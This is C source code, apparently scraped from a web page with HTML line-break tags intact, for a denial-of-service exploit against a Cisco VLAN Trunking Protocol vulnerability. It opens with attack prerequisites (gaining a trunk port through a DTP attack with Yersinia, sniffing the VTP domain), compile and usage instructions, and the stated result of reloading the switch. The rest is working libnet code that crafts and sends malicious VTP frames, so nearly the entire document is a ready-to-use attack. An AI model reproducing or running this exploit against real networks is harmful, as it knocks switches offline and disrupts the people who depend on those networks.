/*DoS code for Cisco VLAN Trunking Protocol Vulnerability<br> *<br> *vulerability discription:<br> *<a href="http://www.cisco.com/warp/public/707/cisco-sr-20081105-vtp.shtml">http://www.cisco.com/warp/public/707/cisco-sr-20081105-vtp.shtml</a><br>
*<br> *To Known:<br> * 1.the switch must in Server/Client Mode.<br> * 2.the port ,attacker connected,must be in trunk Mode.<br> * Cisco Ethernet ports with no configuration are not <br> * in trunk.but trunk mode can be obtained through DTP<br>
* attack by Yersinia.<br> * 3.you must known the vtp domain,this can be sniffed<br> * 4.some codes are from Yersinia.<br> *<br> *Result:<br> * switch reload.<br> *<br> *<br> *Compile:<br> * gcc -o vtp `libnet-config --libs` vtp.c<br>
* <br> *Usage:vtp -i <interface> -d <vtp_domain><br> *<br> *Contact: showrun.lee[AT]<a href="http://gmail.com">gmail.com</a><br> *<a href="http://sh0wrun.blogspot.com/">http://sh0wrun.blogspot.com/</a><br> */<br>
#include <libnet.h><br>#include <stdio.h><br>#include <stdlib.h><br><br>#define VTP_DOMAIN_SIZE 32<br>#define VTP_TIMESTAMP_SIZE 12<br><br>struct vtp_summary {<br> u_int8_t version;<br> u_int8_t code;<br>
u_int8_t followers;<br> u_int8_t dom_len;<br> u_int8_t domain[VTP_DOMAIN_SIZE];<br> u_int32_t revision;<br> u_int32_t updater;<br> u_int8_t timestamp[VTP_TIMESTAMP_SIZE];<br> u_int8_t md5[16];<br>
};<br><br>struct vtp_subset {<br> u_int8_t version;<br> u_int8_t code;<br> u_int8_t seq;<br> u_int8_t dom_len;<br> u_int8_t domain[VTP_DOMAIN_SIZE];<br> u_int32_t revision;<br>};<br><br>void usage( char *s) {<br>
printf("%s -i <interface> -d <vtp domain>\n",s);<br> exit (1);<br>}<br><br>int main( int argc, char *argv[] )<br>{<br> int opt,k=0;<br> extern char *optarg;<br> libnet_ptag_t t;<br> libnet_t *lhandler;<br>
u_int32_t vtp_len=0, sent;<br> struct vtp_summary *vtp_summ;<br> struct vtp_subset *vtp_sub;<br> u_int8_t *vtp_packet,*vtp_packet2, *aux;<br> u_int8_t cisco_data[]={ 0x00, 0x00, 0x0c, 0x20, 0x03 };<br> u_int8_t dst_mac[6]={ 0x01,0x00,0x0c,0xcc,0xcc,0xcc };<br>
u_int8_t aaa[8]={ 0x22,0x00,0x11,0x22,0x11,0x00,0x00,0x00 };<br> struct libnet_ether_addr *mymac;<br> char *device;<br> char error_information[LIBNET_ERRBUF_SIZE];<br> char *domain;<br><br>// get options<br>
while ((opt = getopt(argc, argv, "i:d:")) != -1)<br> {<br> switch (opt) {<br> case 'i':<br> device=malloc(strlen(optarg));<br> strcpy(device,optarg);<br> k=1;<br>
break;<br><br> case 'd':<br> domain=malloc(strlen(optarg));<br> strcpy(domain,optarg);<br> break;<br> <br> default: usage(argv[0]);<br> }<br>
}<br> if(!k) { printf(" %s -i <interface> -d <vtp domain>\n must assign the interface\n",argv[0]);exit(1);}<br><br>//init libnet<br><br> lhandler=libnet_init(LIBNET_LINK,device,error_information);<br>
if (!lhandler) {<br> fprintf(stderr, "libnet_init: %s\n", error_information);<br> return -1;<br> }<br><br> mymac=libnet_get_hwaddr(lhandler);<br>//build the first packet for vtp_summary<br>
vtp_len = sizeof(cisco_data)+sizeof(struct vtp_summary);<br> vtp_packet = calloc(1,vtp_len);<br> aux = vtp_packet;<br> memcpy(vtp_packet,cisco_data,sizeof(cisco_data));<br> aux+=sizeof(cisco_data);<br> vtp_summ = (struct vtp_summary *)aux;<br>
vtp_summ->version = 0x01;<br> vtp_summ->code = 0x01;//vtp_summary<br> vtp_summ->followers = 0x01;<br> vtp_summ->dom_len = strlen(domain);<br> memcpy(vtp_summ->domain,domain,strlen(domain));<br>
vtp_summ->revision = htonl(2000);//bigger than the current revision number will ok <br> t = libnet_build_802_2(<br> 0xaa, /* DSAP */<br> 0xaa, /* SSAP */<br> 0x03, /* control */<br>
vtp_packet, /* payload */<br> vtp_len, /* payload size */<br> lhandler, /* libnet handle */<br> 0); /* libnet id */<br> t = libnet_build_802_3(<br> dst_mac, /* ethernet destination */<br>
mymac->ether_addr_octet, /* ethernet source */<br> LIBNET_802_2_H + vtp_len, /* frame size */<br> NULL, /* payload */<br> 0, /* payload size */<br>
lhandler, /* libnet handle */<br> 0); /* libnet id */<br><br> sent = libnet_write(lhandler);<br><br> if (sent == -1) {<br> libnet_clear_packet(lhandler);<br>
free(vtp_packet);<br> return -1;<br> }<br> libnet_clear_packet(lhandler);<br> <br>//build the second vtp packet for vtp_subset <br> vtp_len = sizeof(cisco_data)+sizeof(struct vtp_subset);<br>
vtp_packet2 = calloc(1,vtp_len);<br> aux = vtp_packet2;<br> memcpy(vtp_packet2,cisco_data,sizeof(cisco_data));<br> aux+=sizeof(cisco_data);<br> <br> vtp_sub = (struct vtp_subset *)aux;<br> vtp_sub->version = 0x01;<br>
vtp_sub->code = 0x02; //vtp_subset<br> vtp_sub->seq = 0x01;<br> vtp_sub->dom_len = strlen(domain);<br> memcpy(vtp_sub->domain,domain,strlen(domain)); <br> vtp_sub->revision = htonl(2000);//bigger than the current revision number will ok<br>
// memcpy(vtp_sub->aaa,aaa,strlen(aaa)); <br> <br> t = libnet_build_802_2(<br> 0xaa, /* DSAP */<br> 0xaa, /* SSAP */<br> 0x03, /* control */<br> vtp_packet2, /* payload */<br>
vtp_len, /* payload size */<br> lhandler, /* libnet handle */<br> 0); /* libnet id */<br> t = libnet_build_802_3(<br> dst_mac, /* ethernet destination */<br>
mymac->ether_addr_octet, /* ethernet source */<br> LIBNET_802_2_H + vtp_len, /* frame size */<br> NULL, /* payload */<br> 0, /* payload size */<br>
lhandler, /* libnet handle */<br> 0); /* libnet id */<br><br> sent = libnet_write(lhandler);<br> if (sent == -1) {<br> libnet_clear_packet(lhandler);<br>
free(vtp_packet);<br> return -1;<br> }<br> libnet_clear_packet(lhandler);<br>}<br>